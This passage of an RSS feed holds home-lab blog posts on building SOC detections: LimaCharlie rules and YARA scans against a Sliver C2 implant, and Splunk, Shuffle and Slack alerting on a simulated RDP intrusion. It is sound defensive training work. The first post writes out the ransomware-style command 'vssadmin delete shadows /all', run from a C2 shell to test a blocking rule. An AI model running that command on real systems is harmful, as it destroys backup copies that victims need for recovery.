src="https://cdn-images-1.medium.com/max/1024/1*ePuuPkeBzQvtlwHoIiFFaQ.png" /></figure><p>This shows the exact command-line execution and surrounding system activity. Note the process chain: our C2 implant &gt;&gt; cmd.exe &gt;&gt; vssadmin.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cuth0fJ4PiJQVsHMdwfpA.png" /></figure><p><strong>Creating a Blocking D&amp;R Rule</strong></p><p>Now we will build a custom D&amp;R rule from this event to block the attack.</p><p>From the detection view, click <strong>Build D&amp;R Rule. </strong>The rule editor will open with pre-populated detection logic based on the Sigma rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BMICwCt9i3e8VCmrhnwgdg.png" /></figure><p>In the <strong>Detect</strong> section, leave the detection logic as-is (it’s already tuned for VSS deletion)</p><p>In the <strong>Respond</strong> section, delete all existing content and add the following:</p><pre>- action: report<br>  name: vss_deletion_kill_it<br>- action: task<br>  command:<br> - deny_tree<br> - &lt;&lt;routing/parent&gt;&gt;</pre><ul><li>The <strong>action: report</strong> generates a detection entry in LimaCharlie’s <strong>Detections</strong> tab</li><li>The <strong>action: </strong><a href="https://docs.limacharlie.io/docs/response-actions#task"><strong>task</strong></a> kills the parent process responsible for the <strong>vssadmin delete shadows /all</strong> command using <strong>deny_tree</strong>, blocking the attack</li></ul><p>Name the rule <strong>vss_deletion_kill_it</strong> and click <strong>Create</strong> to save</p><p>This D&amp;R rule ensures that any future attempts to delete volume shadow copies are automatically detected and blocked in real time, providing proactive protection against ransomware behavior.</p><p><strong>Test the Blocking Rule</strong></p><p>Now that we’ve created our blocking D&amp;R rule, let’s validate that it works by executing another attack.</p><p>Return to our active Sliver C2 session on the Linux VM. We should still be in the system shell from earlier</p><p>In the system shell, re-run the command to delete volume shadow copies:</p><pre>vssadmin delete shadows /all</pre><p>Immediately after, test if our D&amp;R rule properly terminated the parent process of our implant by running:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hc30t5-SXXe2qMGPGblUbg.png" /></figure><blockquote><em>If the shell hangs or fails to return output from the </em><strong><em>whoami</em></strong><em> command, this means our D&amp;R rule successfully terminated the parent process (which includes our C2 implant).</em></blockquote><p>In LimaCharlie, navigate to <strong>Detections</strong> and confirm that the <strong>vss_deletion_kill_it</strong> rule triggered successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yb8e9QzdLqjqE9tBkyEoVQ.png" /></figure><p>We’ve validated that our custom blocking rule automatically disrupted malicious behavior in real time.</p><h3><strong>Implementing YARA Rules</strong></h3><p>In the previous step, we validated that our blocking rule automatically disrupts malicious behavior in real time. Now, we’ll expand our detection capabilities by using YARA to scan for and detect malicious software within our LimaCharlie environment.</p><p>YARA is a pattern-matching tool that helps identify malware based on textual or binary patterns. Security professionals use YARA rules to describe the unique characteristics of specific malware families, which can then be applied to files, processes, or memory to detect threats in real time.</p><p>We’ll create two YARA rules that detect indicators of the Sliver C2 framework.</p><p>In LimaCharlie, navigate to <strong>Automation </strong>&gt;&gt;<strong> YARA Rules</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*NpO-66RPkrW8WF8Kv_Y3TQ.png" /></figure><p>Click <strong>Add YARA Rule</strong> to create our first rule</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4g0OyuqQ5JdVCEhpLmlfw.png" /></figure><p>Configure the first rule:</p><ul><li><strong>Rule Name:</strong> <strong>sliver</strong></li><li>In the rule content area, copy the YARA signature from<a href="https://gist.github.com/example/sliver-rule"> this gist</a></li><li>Click <strong>Save</strong></li></ul><p>Click <strong>Add YARA Rule</strong> again to create the second rule</p><p>Configure the second rule:</p><ul><li><strong>Rule Name:</strong> <strong>sliver-process</strong></li><li>In the rule content area, copy the YARA signature from<a href="https://gist.github.com/example/sliver-process-rule"> this gist</a></li><li>Click <strong>Save</strong></li></ul><h3><strong>Creating D&amp;R Rules for YARA</strong></h3><p>Now we’ll build two D&amp;R rules that generate alerts whenever a YARA detection occurs. This connects our YARA signatures to LimaCharlie’s detection and response workflow.</p><p>Navigate to <strong>Automation &gt;&gt; D&amp;R Rules</strong> and click <strong>Add Rule</strong></p><p>In the <strong>Detect</strong> block, add the following:</p><pre>event: YARA_DETECTION  <br>op: and  <br>rules:  <br>  - not: true  <br>    op: exists  <br>    path: event/PROCESS/*  <br>  - op: exists  <br>    path: event/RULE_NAME</pre><p>In the <strong>Respond</strong> block, add the following:</p><pre>- action: report  <br>  name: YARA Detection {{ .event.RULE_NAME }}  <br>- action: add tag  <br>  tag: yara_detection  <br>  ttl: 80000</pre><p>Save rule as: <strong>YARA Detection</strong></p><blockquote><em>This rule detects YARA events not tied to a process object</em></blockquote><p>Click <strong>Add Rule</strong> again to create the second rule</p><p>In the <strong>Detect</strong> block, add the following:</p><pre>event: YARA_DETECTION  <br>op: and  <br>rules:  <br>  - op: exists  <br>    path: event/RULE_NAME  <br>  - op: exists  <br>    path: event/PROCESS/* </pre><p>In the <strong>Respond</strong> block, add the following:</p><pre>- action: report  <br>  name: YARA Detection in Memory {{ .event.RULE_NAME }}  <br>- action: add tag  <br>  tag: yara_detection_memory  <br>  ttl: 80000</pre><p>Save rule as: <strong>YARA Detection in Memory</strong></p><blockquote><em>This rule is detecting on YARA detections that are tied to a process object</em></blockquote><h3>Testing YARA Rules</h3><p>Now we’ll test our YARA signatures by manually scanning the Downloads folder where our Sliver implant is located.</p><p>In LimaCharlie, navigate to <strong>Sensors &gt;&gt; Sensor List</strong> and select our Windows VM sensor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qoFaczqNHQ-HfMwif2i-gQ.png" /></figure><p>From the left menu, click <strong>Console</strong> to access the EDR Sensor Console. This allows you to run commands directly on the endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqse1zzmRwzv84m2nBZVow.png" /></figure><p>In the console, run the following command to initiate a manual YARA scan of all files in the Downloads directory that matches the <strong>sliver</strong> YARA rule:</p><pre>yara_scan hive://yara/sliver -r C:\Users\Administrator\Downloads</pre><blockquote><em>We should see one or more matches showing file paths and rule names, confirming the </em><strong><em>sliver</em></strong><em> YARA rule matched the implant file</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWa9XMnUu3T7IBKwMNBiHw.png" /></figure><p>Navigate to <strong>Detections</strong> to confirm that our D&amp;R rule triggered a YARA detection. Look for a new detection named <strong>YARA Detection sliver</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbf4VP0QpLbXGaFPxLIHtQ.png" /></figure><h3><strong>Automatically YARA Scan Downloaded EXEs</strong></h3><p>Now that we’ve confirmed our YARA rules are working, we’ll automate the process by having LimaCharlie automatically scan any newly downloaded .<strong>exe</strong> files in the user’s Downloads folder.</p><p>In LimaCharlie, navigate to <strong>Automation</strong> &gt;&gt; <strong>D&amp;R Rules</strong></p><p>Click <strong>Add Rule</strong></p><p>In the <strong>Detect</strong> block, add the following:</p><pre>event: NEW_DOCUMENT  <br>op: and  <br>rules:  <br>  - op: starts with  <br>    path: event/FILE_PATH  <br>    value: C:\Users\ <br>  - op: contains  <br>    path: event/FILE_PATH  <br>    value: \Downloads\<br>  - op: ends with  <br>    path: event/FILE_PATH  <br>    value: .exe</pre><blockquote><em>This rule detects for any new .</em><strong><em>exe</em></strong><em> files created in a user’s Downloads directory</em></blockquote><p>In the <strong>Response</strong> block, add the following:</p><pre>- action: report  <br>  name: EXE dropped in Downloads directory  <br>- action: task  <br>  command: &gt;-  <br>    yara_scan hive://yara/sliver -f &quot;{{ .event.FILE_PATH  <br>    }}&quot;  <br>  investigation: Yara Scan Exe  <br>  suppression:  <br>    is_global: false  <br>    keys:  <br>      - &#39;{{ .event.FILE_PATH }}&#39;  <br>      - Yara Scan Exe  <br>    max_count: 1  <br>    period: 1m</pre><blockquote><em>This response both generates a detection alert and automatically initiates a YARA scan against the newly created .</em><strong><em>exe </em></strong><em>file using the sliver YARA rule. This ensures any malicious payload dropped into the Downloads directory is immediately analyzed for indicators of the Sliver C2 framework.</em></blockquote><p>Save rule as: <strong>YARA Scan Downloaded EXE</strong></p><h3><strong>Automatically YARA Scan Processes Launched from Downloads</strong></h3><p>Now that we’ve automated YARA scans for newly downloaded executables, we’ll take it one step further by scanning any process launched from the user’s Downloads directory in real time.</p><p>In LimaCharlie, navigate to Automation &gt;&gt; D&amp;R Rules</p><p>Click <strong>Add Rule</strong></p><p>In the <strong>Detect</strong> block, add the following:</p><pre>event: NEW_PROCESS  <br>op: and  <br>rules:  <br>  - op: starts with  <br>    path: event/FILE_PATH  <br>    value: C:\Users\<br>  - op: contains  <br>    path: event/FILE_PATH  <br>    value: \Downloads\</pre><blockquote><em>This rule detects any process that is launched from a user’s Downloads directory</em></blockquote><p>In the <strong>Response</strong> block, add the following:</p><pre>- action: report  <br>  name: Execution from Downloads directory  <br>- action: task  <br>  command: yara_scan hive://yara/sliver-process --pid &quot;{{ .event.PROCESS_ID }}&quot;  <br>  investigation: Yara Scan Process  <br>  suppression:  <br>    is_global: false  <br>    keys:  <br>      - &#39;{{ .event.PROCESS_ID }}&#39;  <br>      - Yara Scan Process  <br>    max_count: 1  <br>    period: 1m</pre><blockquote><em>This response scans the running process using the sliver-process YARA rule to identify any indicators of the Sliver C2 framework in real time. Each process is scanned only once per minute to reduce duplicate alerts and minimize performance impact.</em></blockquote><p>Save rule as: <strong>YARA Scan Process Launched from Downloads</strong></p><h3><strong>Testing Automated File Scanning — Scanning New EXEs in Downloads</strong></h3><p>To test our automated YARA scanning, we’ll simulate a new <strong>.exe</strong> being downloaded by moving the Sliver payload out of the Downloads and then back in. This generates a <strong>NEW_DOCUMENT</strong> event, triggering our automated scan.</p><p>On the Windows VM, launch PowerShell as Administrator</p><p>Change to the Downloads directory and list its contents</p><pre>cd ~\Downloads<br>ls</pre><p>We should see our Sliver implant file listed</p><p>Run the command below to temporarily move all <strong>.exe</strong> files from the Downloads folder to the Documents folder</p><pre>Move-Item ~\Downloads\*.exe ~\Documents\</pre><p>Now, move the <strong>.exe</strong> files back to the Downloads folder to simulate a new file being downloaded</p><pre>Move-Item ~\Documents\*.exe ~\Downloads</pre><p>This generates a <strong>NEW_DOCUMENT</strong> event that triggers our automation rule</p><p>In LimaCharlie, navigate to the <strong>Detections</strong> tab<br>We should see an initial alert for <strong>EXE dropped in Downloads directory </strong>followed shortly by a <strong>YARA Detection sliver</strong> once the scan kicks off and identifies the Sliver implant inside the EXE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTaJODUme7QRWApkq2yacw.png" /></figure><p>We just automatically detect the Sliver implant as soon as it appears in a user’s Downloads folder.</p><h3>Testing Automated Process Scanning — Scanning Processes Launched from Downloads</h3><p>Now we’ll test our D&amp;R rule that automatically scans all processes launched from the Downloads directory for the presence of Sliver C2.</p><p>From the same Administrative PowerShell prompt, terminate any existing instances of the Sliver C2 payload</p><p>Run the command below (replace <strong>&lt;payload_name&gt;</strong> with our actual payload name without the .exe extension)</p><pre>Get-Process &lt;payload_name&gt; | Stop-Process</pre><p>For example, if our payload is <strong>PLEASANT_FLAT.exe</strong>, use:</p><pre>Get-Process PLEASANT_FLAT | Stop-Process</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Nm9I3EqpKYkGGMTqW10cw.png" /></figure><p>From the same PowerShell session, execute the Sliver payload from Downloads directory to generate a <strong>NEW_PROCESS</strong> event that will trigger the automatic scan. The process will execute silently in the background</p><pre>C:\Users\Administrator\Downloads\&lt;payload_name&gt;.exe</pre><p>In LimaCharlie, navigate to the <strong>Detections</strong> tab<br>We should see an initial alert: <strong>Execution from Downloads directory</strong>. This confirms the D&amp;R rule detected process execution from Downloads.</p><p>Wait 10–20 seconds for the memory scan to complete.</p><p>Look for a second detection: <strong>YARA Detection in Memory</strong>. This confirms the automated YARA scan identified Sliver C2 in the running process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCmMura-nUXe_hc6mxdvIQ.png" /></figure><p>We just automatically detected a C2 implant the moment it was launched!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3aabd41626ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Project: Active Directory with Splunk, Shuffle, and Slack Integration]]></title>
            <link>https://medium.com/@anniehswong/soc-project-active-directory-with-splunk-shuffle-and-slack-integration-fb6e5d58a520?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb6e5d58a520</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 19:41:41 GMT</pubDate>
            <atom:updated>2026-01-12T19:41:41.175Z</atom:updated>
            <content:encoded><![CDATA[<h3>Project Goal</h3><p>To design and implement a mini Security Operations Center (SOC) environment that simulates real-world attack detection and automated response workflows. This project integrates Active Directory, Splunk (SIEM), Shuffle (SOAR), and Slack to detect unauthorized access attempts and execute automated response actions in real time.</p><h3>Architecture</h3><p>I used Draw.io to illustrate the relationships between Vultr VMs, Splunk, Shuffle, and Slack integrations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NezKL2bfhZMulruRhHlb7g.png" /></figure><p>The architecture consisted of three virtual machines hosted on Vultr:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHfExld8vLkRVRxho-5CPw.png" /></figure><p>To secure the environment, I created a Vultr firewall group applied to all three VMs. The firewall allowed only inbound SSH (port 22) and RDP (port 3389) connections from my personal public IP, minimizing external exposure and ensuring only I could access the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CyeUTy73D_vCSXjekb3ZIQ.png" /></figure><p>I enabled a Virtual Private Cloud (VPC) on all three VMs to allow secure internal communication over a private network while keeping them isolated from the public internet.</p><p>After enabling VPCs, I tested internal connectivity by pinging each VM from the Splunk server. Both Windows VMs returned the following error: Destination host unreachable. I logged into each machine and ran ipconfig which revealed that both had defaulted to 169.x.x.x IP addresses instead of their assigned VPC addresses. I resolved the issue by manually configuring each Windows VM with its designated VPC IP address and subnet mask, restoring proper internal network communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*D7i6LQhAIAFTd3olsIwdBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elm_E_j2jXjgVeFczEBHiw.png" /></figure><h3>Active Directory Installation and Setup</h3><p>With networking configured, I installed and configured Active Directory.</p><p>I accessed AWHS-ADDC01 via RDP and added the Active Directory Domain Services (AD DS) role through Server Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0ET378x0M-wDp2RCPECEw.png" /></figure><p>After installing Active Directory, I promoted the server to a Domain Controller and created a new forest named AHSW.local.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yq52NgrCW0xlBVmjZglyLg.png" /></figure><p>I created a new user account in Active Directory: Jenny Smith (AHSW\JSmith).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*HuMfhGK0Sw1dKgBAok0ebg.png" /></figure><p>I proceeded to join the Windows test machine (AHSW-ADTM01) to the AHSW.local domain to enable centralized authentication and policy management. The initial domain join failed because the test machine couldn&#39;t resolve the domain (DNS field was empty).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJtylUFG85Z9xbki3dxanw.png" /></figure><p>I resolved this issue by setting the preferred DNS server to the Domain Controller’s private IP (10.12.96.4).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*v_81LlgfDkZ1Wf2kGe3vxw.png" /></figure><p>After restarting the test machine, the domain join succeeded!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*OwWpuAkeUqiVVdYzuIpx2Q.png" /></figure><p>After joining the domain, I attempted to RDP as AHSW\JSmith but encountered a connection error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2A2MHdoQbeJy10Eigco7lw.png" /></figure><p>To fix this, I enabled Allow remote connections on the test machine and added the user JSmith to the Remote Desktop Users group.</p><p>After making these changes, I successfully connected via RDP as AHSW\JSmith .</p><blockquote>Note: The AHSW\ prefix is required because it specifies the domain for user authentication.</blockquote><h3>Splunk Installation and Configuration</h3><h4>Installation and Initial Setup</h4><p>I accessed the Ubuntu VM via SSH using my root credentials and ensured the system was up to date by installing the latest security patches before proceeding with the Splunk installation:</p><p>I then logged into the Splunk website, created an account, and obtained the wget command to download the Splunk Enterprise Debian package directly to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjVfeFFMvEWU-g5zwu3NHA.png" /></figure><p>Next, I logged into the Splunk website, created an account, and obtained the wget command to download the Splunk Enterprise .deb package for Linux directly to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kEMTJMqUUItEtWAg5D5MQ.png" /></figure><p>After downloading, I installed Splunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4kjXc5cfT5RHVPVw8Vrxw.png" /></figure><p>To access the Splunk web interface from my host machine, I updated firewall rules in two places to allow inbound traffic on port 8000 (Splunk’s default web port):</p><ul><li>Vultr Cloud Firewall: Allowed TCP port 8000 from my host machine’s public IP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*J_KNB4dVhTsRHf9Kz8PmjA.png" /></figure><ul><li>Ubuntu VM Firewall (UFW): Allowed incoming traffic on TCP port 8000.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*N28620QC3xZ9qyYmmAbKqA.png" /></figure><p>Once I accessed the Splunk web interface, I installed the Splunk Add-on for Microsoft Windows to collect and normalize Windows logs for security monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRJhYE737xnDuti7eqh85A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vawalRNvfgATIzMvW66NjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5LTLDWelkxFWkCikXFmGA.png" /></figure><p>I created a new Splunk index called AHSW-AD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4odxQIup5TBVMzzAWkJYw.png" /></figure><blockquote><strong>Note:</strong> A Splunk index is a repository for data that has been processed into searchable events, used for organizing data, controlling access, and setting data retention policies.</blockquote><p>To receive telemetry from the Windows machines, I configured Splunk to listen on port 9997, its default receiving port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bn6mNM5xF30sj1OGhv5shA.png" /></figure><h4>Splunk Universal Forwarder Installation</h4><p>To forward telemetry to Splunk, I installed the Splunk Universal Forwarder on both Windows VMs: AWHS-ADDC01 (Domain Controller) and AHSW-ADTM01 (Test Machine).</p><p>I began with the test machine:</p><ol><li>RDP’d into AHSW-ADTM01 and installed the Splunk Universal Forwarder.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*LL6iyy11O4a9y23aYMR1Cw.png" /></figure><p>2. Edited the inputs.conf file to monitor and forward the Windows Security Event Log to the AHSW-AD index.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*_aLFLohOUS-e0GcDvipfaA.png" /></figure><p>3. Restarted the SplunkForwarder service to apply the configuration.</p><p>4. Opened port 9997 on the Splunk server (Ubuntu VM) in the Ubuntu firewall (UFW) to allow the Universal Forwarder to send telemetry data.</p><p>I verified that telemetry from the test machine (AHSW-ADTM01) was successfully received in Splunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7kc_gTCS1hNYopXv5kSSQ.png" /></figure><p>I then repeated the installation and forwarder configuration on the Domain Controller (AWHS-ADDC01).</p><p>After completing both machines, Splunk successfully received telemetry from both Windows endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJnXonBZC1TuQsNubxdLpw.png" /></figure><h4>Splunk Alert Creation</h4><p>To simulate suspicious activity and generate telemetry, I used Kali Linux running in Parallels, connected through a VPN to obtain a different public IP, and then RDP’d into the test machine to mimic an external attacker.</p><blockquote><em>Note: Before testing, I temporarily modified the Vultr firewall to allow RDP connections from any source so the external connection could reach the VM. After testing, I reverted the firewall rule to restrict RDP access to my trusted IP address.</em></blockquote><p>I created the following Splunk search query to detect successful RDP logins originating from IP addresses other than my trusted public IP: index=&quot;ahsw-ad&quot; EventCode=4624 (Logon_Type=7 OR Logon_Type=10) Source_Network_Address=* Source_Network_Address!=69.*</p><p>Query breakdown:</p><ul><li>EventCode=4624: Successful logon events</li><li>Logon_Type=7: User unlock events</li><li>Logon_Type=10: Remote Desktop (RDP) connections</li><li>Source_Network_Address!=69.*: Excludes my trusted IP range</li></ul><p>After executing the simulated attack, Splunk successfully detected an unauthorized successful RDP login from New York City.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XmdnSwc4n4fuh2mGbz7Rw.png" /></figure><p>To improve readability, I refined the query using the stats command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghNhq14-IE9QIu7nOCKlCw.png" /></figure><p>Finally, I saved the query as a scheduled alert to run hourly with medium severity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qx6bVdDFINejOdLqcZFoHQ.png" /></figure><h3>Integrating Splunk, Shuffle, and Slack</h3><p>With alerts successfully configured in Splunk, I moved on to building out the automation and response using Splunk, Shuffle, and Slack to automatically respond to unauthorized successful RDP logins.</p><p>I created a new workflow in Shuffle that begins with a webhook trigger. This webhook URI was added directly to the alert configuration in my Splunk dashboard. Once an alert is triggered, the webhook initiates the Shuffle playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*FmqgodWwo67c_Qif0l3xSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6oAPdviP5XKWO1U2bW1tw.png" /></figure><p>I started the webhook and verified that alerts were successfully transmitted from Splunk to Shuffle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*UjyoarPUjbclgRRWUpmVVQ.png" /></figure><p>After authenticating and configuring the Slack app, I created a dedicated alerts channel in the workspace to receive alert notifications. In Shuffle, I updated the workflow to send alert notifications to this channel, including key details such as the username, source IP address, timestamp, and computer name for better incident context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*wARWnrF6JhZciPOCzhddhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*SLEbO8CNNoXslXdSFYMfmg.png" /></figure><p>I tested the integration to confirm that alerts were successfully delivered to Slack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cl37Y1HLPTXF_Qg_UxTFOA.png" /></figure><p>Next, I added an email notification step to the workflow using Shuffle’s User Input trigger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*QNHm-SR5tF7_VLy40hV3Aw.png" /></figure><p>When an alert is triggered, an email is sent to the SOC analyst asking whether the affected user account should be disabled. The analyst’s response determines the next action in the workflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fs4KHyrDK-6W6I7xsmhGhQ.png" /></figure><p>If the SOC analyst clicks YES, the Disable User action is executed in Active Directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*g4tmsqY7j1JIZRYCX8e6lw.png" /></figure><p>To enable this action, I configured an Active Directory connection in Shuffle by providing the domain controller’s IP address, LDAP port (389), domain name, administrator credentials, and Base DN.</p><p>I also updated the Vultr firewall to allow inbound traffic on port 389 for LDAP communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*6xyCBcn3EFTQrVi5vE8pjA.png" /></figure><p>I then created a new test user account to validate the Active Directory connection and verified that the account was successfully disabled in Active Directory (↓ indicates the account is disabled).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*BKekKFMNxCX7su-ArV_jUQ.png" /></figure><p>After the account was disabled, I added another Slack step to the workflow to send a confirmation notification that the user account had been successfully disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdQxmkgE1m5N1JN99JIz_g.png" /></figure><p>Initially, the Slack confirmation fired before the user account was actually disabled, creating a race condition. To resolve this, I added a verification step in the workflow: after the SOC analyst clicked YES, Shuffle checked the user&#39;s attributes to confirm the account status was set to Disabled before sending the final Slack notification. This ensured the alert accurately reflected the account&#39;s current state. If the SOC analyst clicked NO, no further action was taken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*g4tmsqY7j1JIZRYCX8e6lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*4VzM6dafQC7xwOBQ8pDx9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*YckuHqByyTJy98FaA4wyNA.png" /></figure><p>This was the final version of the workflow used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cymTiJhauysXz7_LjlKHBA.png" /></figure><h3>Conclusion</h3><p>This lab gave me my first hands-on experience with Splunk and Shuffle (SOAR) and showed me how a SOC operates in practice. By simulating Active Directory attacks and automating real-time alerts and proactive responses through these tools and Slack, I learned how orchestration can reduce manual work, improve response efficiency, and help mitigate security risks. Overall, the project provided a strong foundation for exploring threat hunting and incident response automation more deeply.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb6e5d58a520" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Automation Project — Automated Detection & AI-Enriched Incident Response with Splunk, n8n…]]></title>
            <link>https://medium.com/@anniehswong/soc-automation-project-automated-detection-ai-enriched-incident-response-with-splunk-n8n-e6368bb0955f?source=rss-8a6ba062ffef------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6368bb0955f</guid>
            <dc:creator><![CDATA[Annie Wong]]></dc:creator>
            <pubDate>Fri, 02 Jan 2026 02:01:25 GMT</pubDate>
            <atom:updated>2026-03-15T22:34:30.867Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC Automation Project — Using Splunk, n8n, OpenAI, and Slack</h3><h3>Objective</h3><p>This lab demonstrates a fully automated SOC workflow using n8n as the orchestration engine. The workflow collects Windows Security Event Logs from an endpoint, detects brute force attempts in Splunk, enriches alerts with AI-driven analysis from OpenAI, adds context using OSINT tools like AbuseIPDB, and delivers actionable, analyst-ready notifications to a Slack channel. The main goal of this lab is to showcase how SOC automation can improve efficiency and incident response by reducing manual log review.</p><h3>Environment &amp; Tools</h3><p>I deployed three virtual machines on Azure:</p><p><strong>Windows 10 VM (AW-Windows10)</strong></p><ul><li>Endpoint for generating and forwarding Windows Security Event Logs to Splunk</li><li>Used to simulate brute force activity without a separate attack VM</li><li>Specs: 2 vCPU / 4 GB RAM / 60 GB disk</li></ul><p><strong>Ubuntu VM — Splunk Server (AW-Splunk-VM)</strong></p><ul><li>Hosts Splunk Enterprise for log ingestion, indexing, and detection</li><li>Specs: 2 vCPU / 8 GB RAM / 100 GB disk</li></ul><p><strong>Ubuntu VM — n8n Server (AW-N8N-VM)</strong></p><ul><li>Hosts the n8n automation platform for alert enrichment and Slack notifications</li><li>Specs: 2 vCPU / 4 GB RAM / 50 GB disk</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8TGCJjUHerAvbDkuX82MQ.png" /></figure><p><strong>Networking Notes:</strong></p><p>All VMs were deployed in the same virtual network to allow secure communication over private IP addresses only. This setup prevents unnecessary public exposure and aligns with enterprise security best practices. Properly configuring the network was critical, as I initially missed this step and experienced connectivity failures between the VMs, requiring redeployment to restore communication.</p><h3>Installing and Configuring Splunk</h3><p>I logged into the AW-Splunk-VM and updated the operating system to ensure all packages and security patches were current:</p><pre>sudo apt-get update &amp;&amp; sudo apt-get upgrade -y</pre><p>Next, I downloaded and installed the official Splunk Enterprise Debian package:</p><pre>wget -O splunk-10.0.2-e2d18b4767e9-linux-amd64.deb &quot;https://download.splunk.com/products/splunk/releases/10.0.2/linux/splunk-10.0.2-e2d18b4767e9-linux-amd64.deb&quot;<br>sudo dpkg -i splunk-10.0.2-e2d18b4767e9-linux-amd64.deb</pre><p>After installation, I navigated to the Splunk binary directory, started the service, created administrative credentials, and configured Splunk to start automatically on boot:</p><pre>cd /opt/splunk/bin<br>./splunk start<br>sudo ./splunk enable boot-start -user splunk</pre><p>I verified access to the Splunk Web interface on port 8000 and confirmed that the necessary inbound firewall rules were applied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvOd2pzIgchEXp0Cn_-yRQ.png" /></figure><p>Then I performed several key configuration steps:</p><ul><li>Configured Receiving Port: Added a new receiving port TCP 9997 to receive data from the Splunk Universal Forwarder</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bf6Yoab4rhyg9lHTCoqm4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8PbLFIUwVgRm65kck2Ukw.png" /></figure><ul><li>Created a New Index: Named aw-project to store telemetry from AW-Windows10</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtewFJ5bGO31eRTvnwQc6Q.png" /></figure><ul><li>Installed Add-on: Installed the Splunk Add-on for Microsoft Windows to parse and normalize Windows Security Event Logs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1kWbN_Oloa8ImJHccJ-_Q.png" 